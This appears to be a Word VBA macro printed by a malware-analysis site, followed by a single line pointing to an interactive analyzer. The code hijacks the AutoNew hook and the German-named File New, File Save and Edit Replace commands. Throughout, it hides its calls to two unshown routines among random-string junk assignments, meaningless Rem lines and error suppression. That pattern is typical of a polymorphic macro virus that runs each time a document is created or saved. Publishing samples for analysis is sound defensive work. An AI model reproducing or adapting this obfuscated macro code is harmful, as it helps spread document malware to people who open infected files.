Rem RsFqCkMhEeLgMnQuLiFoNhDgQuQfDsQvRuRt TqAtHjGiQiIyQfCyKlLvGfQlPtTkLnInBmJwBr = TlIrCrEwIwJyGkFoNtDy & FkAvMoLvRnMfUrNp66505506 Call OvBeTi8453 OmNtVmVpOuErJlFgIlJiMiKiIgRpSrBqLk = FeFhFjMtRjUwLiPmAkPpArVyKlMq & GnSkEfAiNyOyFiRhKjCqGgHzEtTqSeBtHpVoCw18727504 End Sub Sub AutoNew() DmTz = QuTq & NjPuHyGrMjOwNoJqHuDzJlEoLeNx20114821 On Error Resume Next TyUiBuIlDwIwNrJeHjQfCe = SjNmKsGrAvShOiNjGgRnJvTtHvQtOoLeRg & BmGsIeNpNpUtVwOgEkJlCl23377913 Call Es1298 NuLiPxBsBmEpFxMjGj = OpIhMhHwIxNvPyGfJmRvOeVqCnNtKiAhIoAfEeTlKt & TvHoUeHkIzHnFsAgLeCfTfHeMmJoKtHsOePeRmQrGvDz21254911 Call OvBeTi8453 AfFvTgIx = DfRmBrCiDrLkJkDxPhFmCwFwUrHnTn & CqBeKtTvSxQeQjAiIfOgNsKpCvBqVmBfFkFqAmBxJzSvKmJjFx70928467 End Sub Sub DateiNeu() GoBvSrKxStFlBnMwAqGqHtHpRnUfCnHiHlPz = IfEkNmKpAvEeMmVjKjNuBgEvVxGuCeBjHpFkHtQtGwArNlGsAx & FzNhVuOqBrBgAyRgStLiUjUsInOeBhBsMfTjAiEpArRjHlPxFmQp78035265 On Error Resume Next OpFrNsNoNn = PsJqCePzGhMj & MgRzDeCpVkTgSiPwVfRmPoVrIiNpNtDuNq25583438 Dialogs(wdDialogFileNew).Show OxDgHhPsAgOqGgKgNxLoIiOePsRlTtNt = OxBqFoIwDjAsOoHiVkUyJkRzDf & DxOrFlTkMuMuDfPiEfEfDuBvOeOrTrAmLgSqEtIl4755104 Rem MqHuAyAwDkGiOiGuLzElPyKyFpOlIgCnFnGuLy Call Es1298 HgCkCgItJfFoEx = FtCsBkLtFrStGtHkPvMqKrSnSpEqDlIyFeFr & NfDuImDsEnNsFsVkUeVuLvPzAvNzJuTwEuSoAjAeKgBjPf25217606 Call OvBeTi8453 ShVwBlUxEkOjAvNiHvVhCoPxMhUyTtOhSzPxUtPy = KoLyGfAk & HyRwUhJhOkRyFwQtEqBpPtKsBnBmBvCiVsNjEzQfTpEnFnOmJqRfKlKyLwCz50739141 Rem NvDiSmSlJnGyLgOwVqOmLwIg End Sub Sub DateiSpeichern() OoKqPkLgAzTgRtIeFtJnIuPoIfVrAsBqHjHsLlFj = GqVkEmRtJxEhOyNyGn & VnAeEkHz21095305 On Error Resume Next UwLoPnKuBgMpDsCtNl = HzCrBpCoKwVmFiEhEtRnNhGgFyMgMkBrAqMhRzRhJpGeIi & VvCkJtPiSsViRzJyRpSjNzNqAjSkVrNhRlVsMlAvDm50562599 Call Es1298 Rem Nz MrPuEfOhHtNhQkPsNkLmSeQePgSnPm = QlHqJkAzCqUoBtLqKgBkSsKmDjHxStEuMuHyKrJpPkNlAvUrSx & TwFw9576129 Call OvBeTi8453 DnNePgVyEuLlVv = AqApLqRzGhPsImKjCiBwCmIfIwAsNtGjAnHqAlToMgSwJyIw & PkDsCyUiNfBzFoBvMtCvJoHvIlUuTpQrAiVoHeGrAnTmFzGqUjTwJl1296986 ActiveDocument.Save DvMpJrBgNmKiSlHsTnQwNyIgNlVuGmQrSrHu = VsQrJoTxVgVm & OlIqEeQpQjJkQgQlFmFiGzHpOuAlQsDpSlKnMiNfLxIhHyIuSmUvIiVlRlKr12002943 End Sub Sub BearbeitenErsetzen() TqAtHjGiQiIyQfCyKlLvGfQlPtTkLnInBmJwBr = TlIrCrEwIwJyGkFoNtDy & FkAvMoLvRnMfUrNp66505506 On Error Resume Next Rem TqVmEsApNwIxByGhOqAqAvJsUhMeBxQnEkNlGvPkJoAyGuHeIoQvLeTuCxVhEk OmNtVmVpOuErJlFgIlJiMiKiIgRpSrBqLk = FeFhFjMtRjUwLiPmAkPpArVyKlMq & GnSkEfAiNyOyFiRhKjCqGgHzEtTqSeBtHpVoCw18727504 Call Es1298 DmTz = QuTq & NjPuHyGrMjOwNoJqHuDzJlEoLeNx20114821 Call OvBeTi8453 TyUiBuIlDwIwNrJeHjQfCe = SjNmKsGrAvShOiNjGgRnJvTtHvQtOoLeRg & BmGsIeNpNpUtVwOgEkJlCl23377913 Dialogs(wdDialogEditReplace).Show NuLiPxBsBmEpFxMjGj = OpIhMhHwIxNvPyGfJmRvOeVqCnNtKiAhIoAfEeTlKt & TvHoUeHkIzHnFsAgLeCfTfHeMmJoKtHsOePeRmQrGvDz21254911 Rem CoBlFnNyUiHwBnQyIiVkMtJjRiSuEjIs End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.